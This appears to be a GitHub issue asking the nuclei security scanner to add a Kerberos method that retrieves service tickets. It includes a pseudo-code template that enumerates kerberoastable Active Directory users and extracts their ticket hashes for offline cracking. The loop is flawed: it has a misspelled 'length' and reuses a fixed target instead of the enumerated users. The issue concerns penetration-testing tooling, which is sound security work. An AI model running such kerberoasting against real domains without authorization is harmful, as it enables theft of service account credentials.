Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

add method for kerberos module te get a service ticket #4421

Closed
5amu opened this issue Nov 26, 2023 · 0 comments · Fixed by #4422
Closed

add method for kerberos module te get a service ticket #4421

5amu opened this issue Nov 26, 2023 · 0 comments · Fixed by #4422
Labels
Type: Enhancement Most issues will probably ask for additions or changes.
Milestone

Comments

@5amu
Copy link
Contributor

5amu commented Nov 26, 2023

Please describe your feature request:

The Kerberos module already performs an enumeration to find users without Kerberos pre-authentication required attribute (DONT_REQ_PREAUTH). In the spirit of improving the module, I propose a way to retrieve a kerberos service ticket. I already implemented it and I'll shortly attach the PR to this issue.

Describe the use case of this feature:

Expecially in combination with my previous pull request (#4420) nuclei could be used (but not limited) to replicate a kerberoasting attack with a simple template (pseudo-code) like this:

id: kerberoast

info:
  name: Kerberoast Target
  author: 5amu
  severity: info

javascript:
  - args:
      DomainController: "{{Host}}"
    code: |
      var ldap  = require("nuclei/ldap");
      var lc    = ldap.LdapClient();
      var users = lc.GetKerberoastableUsers(template.Domain, DomainController, template.Username, template.Password);

      krb = require("nuclei/kerberos");
      kc = krb.KerberosClient();

      var tickets = [];
      for (let i=0; i<users.lenght; i++) {
        t = kc.GetServiceTicket(template.Domain, DomainController, template.Username, template.Password, template.TargetUser, template.SPN);
        tickets.push(t);
      }

      to_json(tickets);
    extractors:
      - type: json
        json:
          - '.[].Hash'
@5amu 5amu added the Type: Enhancement Most issues will probably ask for additions or changes. label Nov 26, 2023
@ehsandeep ehsandeep added this to the nuclei v3.1.6 milestone Jan 12, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Type: Enhancement Most issues will probably ask for additions or changes.
Projects
None yet
Development

Successfully merging a pull request may close this issue.

2 participants